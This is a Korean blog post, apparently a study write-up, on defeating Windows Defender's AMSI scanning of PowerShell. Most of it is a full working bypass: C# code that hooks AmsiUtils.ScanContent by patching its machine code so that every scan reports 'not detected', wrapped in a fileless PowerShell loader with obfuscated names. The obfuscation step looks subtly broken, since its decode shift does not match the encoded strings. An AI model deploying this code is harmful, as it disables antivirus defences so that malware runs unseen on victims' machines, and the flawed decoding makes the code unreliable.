백신 우회 - Windows Defender Bypass 1

최신 윈도우 운영체제에는 기본적으로 Defender라는 AV(Anti Virus)가 설치되어 있다. 또한 이 백신의 성능이 생각보다 출중한 편인데, 필자의 생각은 다음과 같다.

장점

  1. 다양한 샘플 많은 공격자들이 End Point를 대상으로 공격을 시도한다. Initial Access가 되었든, Lateral Movement가 되었든 말이다. 그런데 이 Endpoint란 전 세계에 컴퓨터를 사용하는 모든 사람이 대상이 될 수 있다.(물론 노출되어있는 서버도 포함된다) 그런데 개인 사용자용 운영체제로 리눅스를 사용하는 경우가 얼마나 되겠는가? 일반적으로 윈도우 아니면 MacOS를 사용한다. 따라서 MS는 정말 다양한 샘플들을 확보할 수 있고, 이러한 양적 공세로 다양한 인사이트를 확보할 수 있을 것이라는 생각이 든다.
  2. AI의 발전 단순히 샘플만 많다면 큰 의미가 없을 수 있다. 마소가 정보보안 전문 기업이 아니기 때문이다. 하지만 최근 급속도로 발전한 인공지능 모델에 이러한 말웨어 데이터를 때려넣는다면 어떻게 될 것인가? (실제로 AI를 쓰는지는 모르겠지만 아마 쓰지않을까?)

단점

  1. 정보보안 전문가의 부족 확실하지는 않지만, 아무래도 마소는 개발자들이 메인인 개발사이다. 그만큼 정보보안 전문가들의 인력이 부족할 수 있다. 마이크로 소프트가 굳이 안랩이나 이스트처럼 악성코드 분석 전문 팀을 운영할 필요는 없지는 않겠는가?

이러한 이유로 Windows Defender가 ‘생각보다’ 출중한 편이라 볼수 있겠다. 물론 필자의 뇌피셜이다.

아무튼 이제 공격자들은 엔드포인트에서 이 기본적으로 설치되어있는 AV Defender를 우회할 필요가 있다. 따라서 이 Windows Defender를 분석 해 보자.


1. Windows Defender 동작 구조



2. Amsi

우선 파워쉘 명령 검사를 위해서 마소는 amsi.dll 을 로드하는 wrapper dll을 만들어서 파워쉘이 로드하도록 구성해놓았다.

해당 파일의 경로는 다음과 같다.(GPT) • C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation<버전>\System.Management.Automation.dll • 또는: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe가 로드하는 어셈블리(모듈)는 GAC 안에 위치 • PowerShell (7, pwsh — .NET Core / .NET) PowerShell 7은 자체 설치 폴더에 어셈블리를 포함합 • C:\Program Files\PowerShell\7\System.Management.Automation.dll

또는 다음 명령들로 확인해볼 수 있다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# 어떤 System.Management.Automation DLL을 현재 세션이 사용 중인지 확인
([System.Reflection.Assembly]::GetAssembly([System.Management.Automation.Runspaces.RunspaceFactory])).Location

# 어셈블리의 버전 정보 확인
([System.Reflection.Assembly]::Load("System.Management.Automation")).GetName().Version

# 파일 해시(무결성 확인)
Get-FileHash "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" -Algorithm SHA256

# 서명(Authenticode) 확인
Get-AuthenticodeSignature "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll"

2-1. AmsiUtil ScanContext

항상 이런걸 볼떄마다 느끼지만, 이런 연구자들은 어떻게 이런걸 이렇게 잘 찾아낼까하고 신기하다는 생각이 든다. 해당 DLL은 C#으로 작성되어 있으며 이는 곧 아주 손쉽게 디컴파일이 가능하다는 의미가 된다.

디컴파일 결과는 다음과 같다

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
// Token: 0x06002B4D RID: 11085 RVA: 0x000ADBB0 File Offset: 0x000ABDB0
internal unsafe static AmsiUtils.AmsiNativeMethods.AMSI_RESULT ScanContent(string content, string sourceMetadata)
{
    if (string.IsNullOrEmpty(sourceMetadata))
    {
        sourceMetadata = string.Empty;
    }
    if (InternalTestHooks.UseDebugAmsiImplementation && content.IndexOf("X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*", StringComparison.Ordinal) >= 0)
    {
        return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_DETECTED;
    }
    if (AmsiUtils.amsiInitFailed)
    {
        PSEtwLog.LogAmsiUtilStateEvent("ScanContent-InitFail", string.Format("{0}-{1}", AmsiUtils.amsiContext, AmsiUtils.amsiSession));
        return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
    }
    object obj = AmsiUtils.amsiLockObject;
    AmsiUtils.AmsiNativeMethods.AMSI_RESULT result;
    lock (obj)
    {
        if (AmsiUtils.amsiInitFailed)
        {
            PSEtwLog.LogAmsiUtilStateEvent("ScanContent-InitFail", string.Format("{0}-{1}", AmsiUtils.amsiContext, AmsiUtils.amsiSession));
            result = AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
        }
        else
        {
            try
            {
                int num = 0;
                if (AmsiUtils.amsiContext == IntPtr.Zero)
                {
                    num = AmsiUtils.Init();
                    if (!Utils.Succeeded(num))
                    {
                        PSEtwLog.LogAmsiUtilStateEvent(string.Format("AmsiScanBuffer-{0}", num), string.Format("{0}-{1}", AmsiUtils.amsiContext, AmsiUtils.amsiSession));
                        return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
                    }
                }
                if (AmsiUtils.amsiSession == IntPtr.Zero)
                {
                    num = AmsiUtils.AmsiNativeMethods.AmsiOpenSession(AmsiUtils.amsiContext, ref AmsiUtils.amsiSession);
                    AmsiUtils.AmsiInitialized = true;
                    if (!Utils.Succeeded(num))
                    {
                        PSEtwLog.LogAmsiUtilStateEvent(string.Format("AmsiScanBuffer-{0}", num), string.Format("{0}-{1}", AmsiUtils.amsiContext, AmsiUtils.amsiSession));
                        return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
                    }
                }
                AmsiUtils.AmsiNativeMethods.AMSI_RESULT amsi_RESULT = AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_CLEAN;
                try
                {
                    fixed (string text = content)
                    {
                        char* ptr = text;
                        if (ptr != null)
                        {
                            ptr += RuntimeHelpers.OffsetToStringData / 2;
                        }
                        IntPtr buffer = new IntPtr((void*)ptr);
                        num = AmsiUtils.AmsiNativeMethods.AmsiScanBuffer(AmsiUtils.amsiContext, buffer, (uint)(content.Length * 2), sourceMetadata, AmsiUtils.amsiSession, ref amsi_RESULT);
                    }
                }
                finally
                {
                    string text = null;
                }
                if (!Utils.Succeeded(num))
                {
                    PSEtwLog.LogAmsiUtilStateEvent(string.Format("AmsiScanBuffer-{0}", num), string.Format("{0}-{1}", AmsiUtils.amsiContext, AmsiUtils.amsiSession));
                    result = AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
                }
                else
                {
                    result = amsi_RESULT;
                }
            }
            catch (DllNotFoundException)
            {
                PSEtwLog.LogAmsiUtilStateEvent("DllNotFoundException", string.Format("{0}-{1}", AmsiUtils.amsiContext, AmsiUtils.amsiSession));
                result = AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
            }
        }
    }
    return result;
}

함수를 살펴보면 입력으로

ScanContent(string content, string sourceMetadata) 를 받고있고

AmsiUtils.AmsiNativeMethods.AMSI_RESULT 형태의 데이터를 리턴하고 있다.

AMSI_RESULT


AmsiUtils.AmsiNativeMethods.AMSI_RESULT는 integer의 emum으로 정의되어 있어 integer를 리턴한다 생각하면 되겠다.

context는 실행할 코드일 것이고, sourceMetadata는 코드의 메타데이터가 될 것이다.

그리고 다음 핵심 버퍼 검사 구문을 확인할 수 있다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
try
{
    fixed (string text = content)
    {
        char* ptr = text;
        if (ptr != null)
        {
            ptr += RuntimeHelpers.OffsetToStringData / 2;
        }
        IntPtr buffer = new IntPtr((void*)ptr);
        num = AmsiUtils.AmsiNativeMethods.AmsiScanBuffer(AmsiUtils.amsiContext, buffer, (uint)(content.Length * 2), sourceMetadata, AmsiUtils.amsiSession, ref amsi_RESULT);
    }
}

여기서 우리는 ScanContent 라는 함수 호출을 ‘후킹’해서 AmsiScanBuffer 함수 호출을 바이패스 해야겠구나! 하는 생각까지 도달해야 한다.


3. Bypass Defender

바이패스에는 후킹 외에도 몇 가지 기술이 추가적으로 사용된다.

3-1. 후킹 코드 작성

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
using System;
using System.ComponentModel;
using System.Management.Automation;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;

namespace Editor {
	public static class Methods {
        public static void Patch() {
			MethodInfo original = typeof(PSObject).Assembly.GetType("System.Management.Automation.AmsiUtils").GetMethod("ScanContent", BindingFlags.NonPublic | BindingFlags.Static);
			MethodInfo modified = typeof(Methods).GetMethod("ScanContentStub", BindingFlags.NonPublic | BindingFlags.Static);
			Methods.Patch(original, modified);
		}

		[MethodImpl(MethodImplOptions.NoOptimization | MethodImplOptions.NoInlining)]
		private static int ScanContentStub(string content, string metadata) {
			return 1; //AMSI_RESULT_NOTDETECTED
        }

		public static void Patch(MethodInfo original, MethodInfo replacement) {
			//JIT compile methods
			RuntimeHelpers.PrepareMethod(original.MethodHandle);
			RuntimeHelpers.PrepareMethod(replacement.MethodHandle);

			//Get pointers to the functions
			IntPtr originalSite = original.MethodHandle.GetFunctionPointer();
			IntPtr replacementSite = replacement.MethodHandle.GetFunctionPointer();

			//Generate architecture specific shellcode
			byte[] patch = null;
			if (IntPtr.Size == 8) {
				patch = new byte[] { 0x49, 0xbb, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0xff, 0xe3 };
				byte[] address = BitConverter.GetBytes(replacementSite.ToInt64());
				for (int i = 0; i < address.Length; i++) {
					patch[i + 2] = address[i];
				}
			} else {
				patch = new byte[] { 0x68, 0x0, 0x0, 0x0, 0x0, 0xc3 };
				byte[] address = BitConverter.GetBytes(replacementSite.ToInt32());
				for (int i = 0; i < address.Length; i++) {
					patch[i + 1] = address[i];
				}
			}

			//Temporarily change permissions to RWE
			uint oldprotect;
			if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, 0x40, out oldprotect)) {
				throw new Win32Exception();
			}

			//Apply the patch
			IntPtr written = IntPtr.Zero;
			if (!Methods.WriteProcessMemory(GetCurrentProcess(), originalSite, patch, (uint)patch.Length, out written)) {
				throw new Win32Exception();
			}

			//Flush insutruction cache to make sure our new code executes
			if (!FlushInstructionCache(GetCurrentProcess(), originalSite, (UIntPtr)patch.Length)) {
				throw new Win32Exception();
			}

			//Restore the original memory protection settings
			if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, oldprotect, out oldprotect)) {
				throw new Win32Exception();
			}
		}

		[DllImport("kernel32.dll", SetLastError = true)]
		private static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, UIntPtr dwSize);

		[DllImport("kernel32.dll", SetLastError = true)]
		private static extern IntPtr GetCurrentProcess();

		[DllImport("kernel32.dll", SetLastError = true)]
		private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

		[DllImport("kernel32.dll", SetLastError = true)]
		private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
	}
}

3-1. .NET 리플렉션

.NET은 리플렉션이라는 기능을 제공한다.

리플렉션은 .NET(C# 포함)에서 **프로그램이 실행 중(runtime)**에 자기 자신(어셈블리, 클래스, 메서드, 속성 등)을 **조사(inspect)**하거나 **조작(manipulate)**할 수 있는 기능이다.

해당 리플렉션 기능은 Patch(), Patch(MethodInfo original, MethodInfo replacement) 함수에서 사용하고 있다.

다음 코드를 보자.

1
MethodInfo original = typeof(PSObject).Assembly.GetType("System.Management.Automation.AmsiUtils").GetMethod("ScanContent", BindingFlags.NonPublic | BindingFlags.Static);
  1. typeof(PSObject).Assembly • typeof(PSObject) • PSObject 타입(컴파일 시점에 알려진 타입)을 의미한다. • 이 표현의 목적은 어떤 어셈블리(Assembly) 를 참조해야 할지 얻기 위함이다. • .Assembly • PSObject가 정의된 어셈블리(System.Management.Automation.dll)의 Assembly 객체를 반환한다.

  1. .GetType(“System.Management.Automation.AmsiUtils”) • Assembly.GetType(string fullName) • 해당 어셈블리 내부에서 네임스페이스 포함한 완전한 타입 이름(Namespace.TypeName)으로 Type 객체를 찾는다. • 여기서는 AmsiUtils(네임스페이스 System.Management.Automation)라는 비공개/내부 유틸리티 클래스를 찾는다. • 주의: 이름은 대소문자 구분이며(기본적으로 case-sensitive), 타입이 없으면 null을 반환한다.

  1. .GetMethod(“ScanContent”, BindingFlags.NonPublic | BindingFlags.Static) • Type.GetMethod(name, bindingFlags) • 타입에서 지정된 이름과 바인딩 플래그에 맞는 메서드를 검색해 MethodInfo를 반환한다. • BindingFlags.NonPublic | BindingFlags.Static 의미: • NonPublic : private / internal / protected 등의 비공개 멤버 포함 • Static : 정적(static) 메서드만 검색 • 따라서 비공개(static) 메서드 ScanContent를 찾겠다는 의미.

  1. 반환값 (original) • 성공하면 MethodInfo 객체(메서드의 메타정보)를 받습니다. 이 MethodInfo로: • Invoke()로 호출하거나, • MethodHandle.GetFunctionPointer()로 네이티브 함수 포인터를 얻거나, • RuntimeHelpers.PrepareMethod()로 JIT 준비 등 다양한 작업을 할 수 있다. • 실패하면 original은 null(타입/메서드가 없을 때)이고, 중복 일치가 있으면 AmbiguousMatchException이 발생할 수 있음.


3-2. 함수 후킹

1
2
3
4
5
6
7
[MethodImpl(MethodImplOptions.NoOptimization | MethodImplOptions.NoInlining)]
private static int ScanContentStub(string content, string metadata) {
    return 1; //AMSI_RESULT_NOTDETECTED
}

MethodInfo modified = typeof(Methods).GetMethod("ScanContentStub", BindingFlags.NonPublic | BindingFlags.Static);
Methods.Patch(original, modified);

‘ScanContentStub’라는 우리가 정의한 함수정보를 불러와서 Patch 라는 항수로 후킹을 적용한다.

ScanContentStub 함수 위에 [MethodImpl(MethodImplOptions.NoOptimization | MethodImplOptions.NoInlining)] 이런 옵션이 적용되어 있다.

현대 컴파일러는 굉장히 스마트하기 때문에 간단한 함수는 최적화를 위해 inline화 시키는 경우가 많다. 그럴 경우 함수 호출에 문제가 발생할수 있기 때문에 이를 방지하기 위한 대책이다.


3-3. 인라이닝 방지

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
//Generate architecture specific shellcode
byte[] patch = null;
if (IntPtr.Size == 8) {
    patch = new byte[] { 0x49, 0xbb, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0xff, 0xe3 };
    byte[] address = BitConverter.GetBytes(replacementSite.ToInt64());
    for (int i = 0; i < address.Length; i++) {
        patch[i + 2] = address[i];
    }
} else {
    patch = new byte[] { 0x68, 0x0, 0x0, 0x0, 0x0, 0xc3 };
    byte[] address = BitConverter.GetBytes(replacementSite.ToInt32());
    for (int i = 0; i < address.Length; i++) {
        patch[i + 1] = address[i];
    }
}

3-4. 함수 후킹

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public static void Patch(MethodInfo original, MethodInfo replacement) {
    //JIT compile methods
    RuntimeHelpers.PrepareMethod(original.MethodHandle);
    RuntimeHelpers.PrepareMethod(replacement.MethodHandle);

    //Get pointers to the functions
    IntPtr originalSite = original.MethodHandle.GetFunctionPointer();
    IntPtr replacementSite = replacement.MethodHandle.GetFunctionPointer();

    //Generate architecture specific shellcode
    byte[] patch = null;
    if (IntPtr.Size == 8) {
        patch = new byte[] { 0x49, 0xbb, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0xff, 0xe3 };
        byte[] address = BitConverter.GetBytes(replacementSite.ToInt64());
        for (int i = 0; i < address.Length; i++) {
            patch[i + 2] = address[i];
        }
    } else {
        patch = new byte[] { 0x68, 0x0, 0x0, 0x0, 0x0, 0xc3 };
        byte[] address = BitConverter.GetBytes(replacementSite.ToInt32());
        for (int i = 0; i < address.Length; i++) {
            patch[i + 1] = address[i];
        }
    }

    //Temporarily change permissions to RWE
    uint oldprotect;
    if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, 0x40, out oldprotect)) {
        throw new Win32Exception();
    }

    //Apply the patch
    IntPtr written = IntPtr.Zero;
    if (!Methods.WriteProcessMemory(GetCurrentProcess(), originalSite, patch, (uint)patch.Length, out written)) {
        throw new Win32Exception();
    }

    //Flush insutruction cache to make sure our new code executes
    if (!FlushInstructionCache(GetCurrentProcess(), originalSite, (UIntPtr)patch.Length)) {
        throw new Win32Exception();
    }

    //Restore the original memory protection settings
    if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, oldprotect, out oldprotect)) {
        throw new Win32Exception();
    }
}

실제 후킹이 이루어지는 부분이다.

1
2
3
4
5
6
7
//JIT compile methods
RuntimeHelpers.PrepareMethod(original.MethodHandle);
RuntimeHelpers.PrepareMethod(replacement.MethodHandle);

//Get pointers to the functions
IntPtr originalSite = original.MethodHandle.GetFunctionPointer();
IntPtr replacementSite = replacement.MethodHandle.GetFunctionPointer();

MethodHandle.GetFunctionPointer() 를 사용해 함수 시작 주소를 따기 위해서 각 메서드를 JIT(Just In Time) 컴파일 한다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
//Generate architecture specific shellcode
byte[] patch = null;
if (IntPtr.Size == 8) {
    patch = new byte[] { 0x49, 0xbb, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0xff, 0xe3 };
    byte[] address = BitConverter.GetBytes(replacementSite.ToInt64());
    for (int i = 0; i < address.Length; i++) {
        patch[i + 2] = address[i];
    }
} else {
    patch = new byte[] { 0x68, 0x0, 0x0, 0x0, 0x0, 0xc3 };
    byte[] address = BitConverter.GetBytes(replacementSite.ToInt32());
    for (int i = 0; i < address.Length; i++) {
        patch[i + 1] = address[i];
    }
}

아키텍쳐 구분 후(여기서는 x64, x86구분. int자료형의 크기로 판별한다) 런타임에 원본 함수의 시작(프로시저 프롤로그)을 기계어로 덮어써서(패치) 호출을 대체 함수로 점프시키는 트램펄린(trampoline) / 훅을 만든다.


x64 분기

1
2
3
4
5
patch = new byte[] { 
  0x49, 0xBB,                 // mov r11, imm64
  0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, // imm64 자리 (8바이트)
  0x41, 0xFF, 0xE3           // jmp r11 (REX + FF /4 with r11)
};

• 49 BB : MOV R11, . (REX/Opcode 조합으로 r11에 64비트 즉시값을 로드) • 41 FF E3: JMP R11 (간접 분기). 41은 REX.B 같은 프리픽스, FF E3는 jmp r11. • 전체 동작: R11 레지스터에 대체 함수의 절대 주소를 넣고 바로 그 주소로 점프한다.


x86 분기

1
2
3
4
patch = new byte[] {
  0x68, 0x0,0x0,0x0,0x0, // push imm32
  0xC3                  // ret
};

• 68 : PUSH imm32 — 스택에 즉시주소를 푸시. • C3 : RET — 스택에서 값(즉시주소)을 팝해서 그 주소로 반환(=점프).

우선 ret 되는 주소값은 00으로 채워져있고, 위에서 MethodHandle.GetFunctionPointer()로 가져온 실제 함수의 시작 주소를 그 자리에 채운다.

이후 메모리 영역의 권한을 변경한다.

1
if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, 0x40, out oldprotect)) throw new Win32Exception();

• 0x40 = PAGE_EXECUTE_READWRITE로 설정. • 목적: 코드 페이지(보통 실행 전용)에 쓰기 가능하도록 잠시 풀기.

1
if (!Methods.WriteProcessMemory(GetCurrentProcess(), originalSite, patch, (uint)patch.Length, out written)) throw new Win32Exception();

• WriteProcessMemory로 현재 프로세스의 해당 메모리영역을 덮어씀.

1
if (!FlushInstructionCache(GetCurrentProcess(), originalSite, (UIntPtr)patch.Length)) throw new Win32Exception();

• CPU의 명령 캐시를 비워, 즉시 새로 쓴 코드가 실행되도록 보장. • 필수 단계: 캐시를 갱신하지 않으면 CPU가 아직 캐시된 구 코드를 실행할 수 있다.

1
if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, oldprotect, out oldprotect)) throw new Win32Exception();

• 메모리 보호 속성을 원래대로 되돌린다.


4. 실제 실행하기

위에서 PoC 코드를 살펴봤다. 굉장히 복잡하다.. GPT가 없었으면 어떻게 공부했을까 싶다.

위 코드를 powershell 에서 fileless 형태로 실행하기 위해서는 추가적으로 다른 방법이 더 필요하다.


4-1. 멀티라인 문자열 선언

$code = @" … “@ 로 선언해주면 된다.


4-2. 소스코드 컴파일

Add-Type $code

PowerShell이 내부적으로 C# 컴파일러(csc)를 호출해 소스 코드를 컴파일하고 결과 어셈블리를 현재 세션의 AppDomain에 로드


4-3. 전체 코드

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
$code = @"
using System;
using System.ComponentModel;
using System.Management.Automation;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;

namespace Editor {
    public static class Methods {
        public static void Patch() {
            MethodInfo original = typeof(PSObject).Assembly.GetType(Methods.CLASS).GetMethod(Methods.METHOD, BindingFlags.NonPublic | BindingFlags.Static);
            MethodInfo replacement = typeof(Methods).GetMethod("Dummy", BindingFlags.NonPublic | BindingFlags.Static);
            Methods.Patch(original, replacement);
        }

        [MethodImpl(MethodImplOptions.NoOptimization | MethodImplOptions.NoInlining)]
        private static int Dummy(string content, string metadata) {
            return 1;
        }

        public static void Patch(MethodInfo original, MethodInfo replacement) {
            //JIT compile methods
            RuntimeHelpers.PrepareMethod(original.MethodHandle);
            RuntimeHelpers.PrepareMethod(replacement.MethodHandle);

            //Get pointers to the functions
            IntPtr originalSite = original.MethodHandle.GetFunctionPointer();
            IntPtr replacementSite = replacement.MethodHandle.GetFunctionPointer();

            //Generate architecture specific shellcode
            byte[] patch = null;
            if (IntPtr.Size == 8) {
                patch = new byte[] { 0x49, 0xbb, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0xff, 0xe3 };
                byte[] address = BitConverter.GetBytes(replacementSite.ToInt64());
                for (int i = 0; i < address.Length; i++) {
                    patch[i + 2] = address[i];
                }
            } else {
                patch = new byte[] { 0x68, 0x0, 0x0, 0x0, 0x0, 0xc3 };
                byte[] address = BitConverter.GetBytes(replacementSite.ToInt32());
                for (int i = 0; i < address.Length; i++) {
                    patch[i + 1] = address[i];
                }
            }

            //Temporarily change permissions to RWE
            uint oldprotect;
            if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, 0x40, out oldprotect)) {
                throw new Win32Exception();
            }

            //Apply the patch
            IntPtr written = IntPtr.Zero;
            if (!Methods.WriteProcessMemory(GetCurrentProcess(), originalSite, patch, (uint)patch.Length, out written)) {
                throw new Win32Exception();
            }

            //Flush insutruction cache to make sure our new code executes
            if (!FlushInstructionCache(GetCurrentProcess(), originalSite, (UIntPtr)patch.Length)) {
                throw new Win32Exception();
            }

            //Restore the original memory protection settings
            if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, oldprotect, out oldprotect)) {
                throw new Win32Exception();
            }
        }

        private static string Transform(string input) {
            StringBuilder builder = new StringBuilder(input.Length + 11);    
            foreach(char c in input) {
                char m = (char)((int)c - 11);
                builder.Append(m);
            }
            return builder.ToString();
        }

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, UIntPtr dwSize);

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern IntPtr GetCurrentProcess();

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);

        private static readonly string CLASS = Methods.Transform("Tztufn/Nbobhfnfou/Bvupnbujpo/BntjVujmt");
        private static readonly string METHOD = Methods.Transform("TdboDpoufou");
    }
}
"@
Add-Type $code
[Editor.Methods]::Patch()

위 코드에는 추가적으로 특정 문자열에 난독화가 적용되었다.

5. 동작 테스트

지금은.. kernel32.dll 에서 로드하는 함수들이 다 막힌것 같다..


Reference

https://practicalsecurityanalytics.com/obfuscating-api-patches-to-bypass-new-windows-defender-behavior-signatures/

https://practicalsecurityanalytics.com/new-amsi-bypss-technique-modifying-clr-dll-in-memory/

https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/

https://rastamouse.me/memory-patching-amsi-bypass/

https://darkest.tistory.com/66